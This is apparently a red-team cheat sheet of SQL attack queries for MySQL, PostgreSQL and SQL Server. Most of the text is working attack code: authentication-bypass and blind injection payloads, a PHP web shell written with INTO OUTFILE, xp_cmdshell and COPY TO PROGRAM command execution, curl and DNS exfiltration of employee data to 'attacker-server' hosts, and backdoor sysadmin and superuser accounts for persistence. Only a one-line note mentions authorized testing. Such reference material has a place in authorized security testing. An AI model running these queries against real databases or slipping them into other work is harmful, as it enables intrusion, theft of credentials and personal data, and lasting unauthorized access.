SQL queries can be tailored for red teamers that focus on enumeration, privilege escalation, and data extraction. These examples simulate real-world scenarios during database assessments and exploitation.

[1] Basic Enumeration

Discover database structure, including databases, tables, and columns.

-- List all databases
SELECT schema_name FROM information_schema.schemata;

-- List all tables in a specific database
USE target_database; -- Replace with the actual database name
SHOW TABLES;

-- Alternatively (cross-platform)
SELECT table_name FROM information_schema.tables WHERE table_schema = 'target_database';

-- List all columns in a specific table
SELECT column_name FROM information_schema.columns WHERE table_name = 'target_table';

[2] Extract User Information

Enumerate database users and roles.

-- List all database users (MySQL)
SELECT user, host FROM mysql.user;

-- List roles assigned to users (PostgreSQL)
SELECT rolname, rolsuper, rolinherit, rolcreaterole, rolcreatedb, rolcanlogin FROM pg_roles;

-- List database users with their permissions (SQL Server)
SELECT name, type_desc, create_date, modify_date FROM sys.database_principals;

[3] Privilege Escalation

Identify high-privileged users and escalate privileges if possible.

-- Check for SUPER privileges (MySQL)
SELECT user, host, super_priv FROM mysql.user WHERE super_priv = 'Y';

-- Check for DB_OWNER privileges (SQL Server)
SELECT name, principal_id, type_desc FROM sys.database_principals WHERE type_desc = 'SQL_USER';

-- Grant all privileges to yourself (MySQL)
GRANT ALL PRIVILEGES ON *.* TO 'attacker_user'@'%' WITH GRANT OPTION;

[4] Extract Sensitive Data

Access critical information such as credentials, sensitive configuration data, or PII.

-- Extract user credentials (MySQL)
SELECT user, password FROM mysql.user;

-- Extract PII from a table
SELECT name, email, phone, address FROM employees;

-- Dump all data from a table
SELECT * FROM target_table;

[5] Bypass Authentication

Exploit SQL Injection to bypass authentication.

-- Example of authentication bypass
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';

-- Blind SQL Injection Example (Extract first character of database name)
SELECT CASE WHEN (SUBSTRING((SELECT database()), 1, 1) = 'a') THEN SLEEP(5) ELSE SLEEP(0) END;

[6] Detect and Leverage Misconfigurations

Exploit database misconfigurations for lateral movement.

-- Identify writable directories (PostgreSQL)
SELECT * FROM pg_ls_dir('/var/lib/postgresql/');

-- Execute OS commands (MySQL with FILE privilege)
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';

-- Check if xp_cmdshell is enabled (SQL Server)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

[7] Exfiltrate Data

Send sensitive data to a remote system.

-- Exfiltrate via DNS (MySQL)
SELECT LOAD_FILE(CONCAT('\\\\\\\\attacker_server\\\\', database()));

-- Exfiltrate to a remote HTTP server (PostgreSQL)
COPY (SELECT * FROM employees) TO PROGRAM 'curl -d @- <http://attacker-server/upload>';

-- Save data to a file (SQL Server)
SELECT * INTO OUTFILE '/tmp/exfiltrated_data.txt' FROM target_table;

[8] Detect SQL Injection Points

Detect exploitable fields or parameters.

-- Test for UNION-based SQL Injection
' UNION SELECT 1,2,3 --

-- Check for errors (error-based SQLi)
' AND 1=CONVERT(int, 'a') --

[9] Detect Weak Configurations

Find weak configurations that enable exploitation.

-- Check for non-secure password policies (SQL Server)
SELECT name, is_policy_checked, is_expiration_checked FROM sys.sql_logins;

-- Detect if anonymous access is enabled (MySQL)
SELECT user, host FROM mysql.user WHERE user = '';

[10] Post-Exploitation Persistence

Create a backdoor user or persistent access.

-- Create a new user with administrative privileges (MySQL)
CREATE USER 'backdoor_user'@'%' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'backdoor_user'@'%' WITH GRANT OPTION;

-- Create a new role with escalated privileges (PostgreSQL)
CREATE ROLE backdoor WITH SUPERUSER LOGIN PASSWORD 'password';

-- Add a new login (SQL Server)
CREATE LOGIN backdoor_user WITH PASSWORD = 'password';
ALTER SERVER ROLE sysadmin ADD MEMBER backdoor_user;

[11] Privilege Escalation via Roles

Identify and abuse roles or permissions.

-- Find users with SUPER privileges (MySQL)
SELECT user, host, grant_priv FROM mysql.user WHERE grant_priv = 'Y';

-- Identify default roles (PostgreSQL)
SELECT rolname FROM pg_roles WHERE rolcanlogin = 't' AND rolsuper = 't';

-- Grant role-based privileges to yourself (PostgreSQL)
GRANT pg_read_server_files TO attacker_user;  -- Requires appropriate role

-- Abuse 'db_owner' role to add sysadmin (SQL Server)
EXEC sp_addsrvrolemember 'attacker_user', 'sysadmin';

[12] Advanced Data Exfiltration

Extract or send critical data covertly.

-- Save table data into a local file (MySQL with FILE privilege)
SELECT * INTO OUTFILE '/var/lib/mysql-files/employees.txt' FROM employees;

-- Use HTTP requests for exfiltration (PostgreSQL)
COPY (SELECT * FROM employees) TO PROGRAM 'curl -X POST -d @- <http://attacker-server/exfil>';

-- Encode and exfiltrate data in chunks (MySQL)
SELECT BASE64_ENCODE(CONCAT_WS(',', id, name, email)) FROM employees;

-- DNS exfiltration using UNION-based SQLi
UNION SELECT 1, LOAD_FILE(CONCAT('\\\\\\\\', (SELECT database()), '.attacker-server.com\\\\file'));

[13] Discover Running Queries or Processes

Identify other active operations in the database.

-- List running queries (PostgreSQL)
SELECT pid, usename, query, state FROM pg_stat_activity;

-- Show currently running processes (MySQL)
SHOW PROCESSLIST;

-- Display active queries (SQL Server)
SELECT session_id, status, start_time, command, sql_text FROM sys.dm_exec_requests CROSS APPLY sys.dm_exec_sql_text(sql_handle);

[14] Detect Database Misconfigurations

Identify exploitable misconfigurations.

-- Detect insecure logging paths (PostgreSQL)
SHOW logging_collector;
SHOW log_directory;

-- Check for writable directories (MySQL)
SHOW VARIABLES LIKE "secure_file_priv";

-- Detect non-encrypted connections (PostgreSQL)
SELECT ssl_is_used FROM pg_stat_ssl;

-- Identify open linked servers (SQL Server)
EXEC sp_linkedservers;

[15] Extract Hidden or Unreferenced Data

Find hidden tables, unused fields, or orphaned data.

-- List tables not referenced by foreign keys (PostgreSQL)
SELECT tablename FROM pg_tables WHERE schemaname = 'public' AND tablename NOT IN (
    SELECT DISTINCT relname
    FROM pg_constraint
    JOIN pg_class ON conrelid = oid
);

-- Identify orphaned rows (SQL Server)
SELECT child_table.* FROM child_table LEFT JOIN parent_table ON child_table.parent_id = parent_table.id WHERE parent_table.id IS NULL;

-- Extract dropped data from logs (MySQL)
SELECT * FROM mysql.general_log WHERE command_type = 'Query';

[16] Exploit Functionality for OS Commands

Execute operating system commands via SQL.

-- PostgreSQL: Use COPY to execute OS commands
COPY pg_shadow TO PROGRAM 'cat /etc/passwd';

-- SQL Server: Use xp_cmdshell (if enabled)
EXEC xp_cmdshell 'dir C:\\\\';

-- MySQL: Write PHP shell via SELECT INTO OUTFILE
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';

[17] Manipulate Backups

Create or abuse database backups.

-- Create a backup of sensitive data (MySQL)
SELECT * INTO OUTFILE '/var/lib/mysql-files/backup.txt' FROM sensitive_table;

-- PostgreSQL: Dump table to a file
COPY sensitive_table TO '/tmp/sensitive_data.csv' DELIMITER ',' CSV HEADER;

-- SQL Server: Trigger database backup
BACKUP DATABASE sensitive_db TO DISK = 'C:\\\\backups\\\\sensitive.bak';

-- Retrieve backup metadata (SQL Server)
SELECT * FROM msdb.dbo.backupset;

[18] Abuse Linked Servers

Use linked servers for lateral movement or data extraction.

-- List linked servers (SQL Server)
EXEC sp_linkedservers;

-- Query linked server (SQL Server)
SELECT * FROM OPENQUERY([LinkedServerName], 'SELECT * FROM sensitive_db.dbo.users');

-- Impersonate on a linked server (SQL Server)
EXEC ('SELECT name FROM sys.databases') AT [LinkedServerName];

[19] Identify Weak Passwords

Exploit or discover weak credentials.

-- MySQL: Check users with empty passwords
SELECT user, host FROM mysql.user WHERE authentication_string = '' OR authentication_string IS NULL;

-- PostgreSQL: Check users without passwords
SELECT usename FROM pg_shadow WHERE passwd IS NULL OR passwd = '';

-- SQL Server: Identify logins without passwords
SELECT name FROM sys.sql_logins WHERE is_policy_checked = 0 AND is_expiration_checked = 0;

[20] Post-Exploitation Persistence

Maintain persistent access.

-- PostgreSQL: Create a persistent superuser
CREATE ROLE persistent_user WITH SUPERUSER LOGIN PASSWORD 'password';

-- SQL Server: Add a backdoor account to sysadmin
CREATE LOGIN backdoor_user WITH PASSWORD = 'password';
EXEC sp_addsrvrolemember 'backdoor_user', 'sysadmin';

-- MySQL: Add a new administrative user
CREATE USER 'backdoor_user'@'%' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'backdoor_user'@'%' WITH GRANT OPTION;

[21] Privilege Escalation Using Stored Procedures

Leverage stored procedures for privilege escalation.

-- MySQL: Exploit DEFINER privileges
DELIMITER $$
CREATE PROCEDURE escalate_privileges() SQL SECURITY DEFINER
BEGIN
    GRANT ALL PRIVILEGES ON *.* TO 'attacker'@'%';
END $$
DELIMITER ;
CALL escalate_privileges();

-- SQL Server: Abuse EXECUTE AS
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;

-- PostgreSQL: Abuse SECURITY DEFINER functions
CREATE OR REPLACE FUNCTION escalate() RETURNS void AS $$
BEGIN
    EXECUTE 'GRANT pg_read_server_files TO attacker';
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT escalate();

[22] Automate Queries

Automate repetitive enumeration and extraction tasks.

-- MySQL: Show all tables and columns for quick enumeration
SELECT TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'target_database';

-- PostgreSQL: List all schema elements
DO $$
BEGIN
    FOR rec IN SELECT schema_name FROM information_schema.schemata LOOP
        RAISE NOTICE 'Schema: %', rec.schema_name;
    END LOOP;
END $$;

-- SQL Server: Script to dump all databases and tables
DECLARE @DBName NVARCHAR(255);
DECLARE db_cursor CURSOR FOR SELECT name FROM sys.databases;
OPEN db_cursor;
FETCH NEXT FROM db_cursor INTO @DBName;
WHILE @@FETCH_STATUS = 0
BEGIN
    PRINT 'Database: ' + @DBName;
    FETCH NEXT FROM db_cursor INTO @DBName;
END;
CLOSE db_cursor;
DEALLOCATE db_cursor;

These queries cover a wide range of red teaming use cases.

** Always test responsibly within authorized environments as databases are critical assets **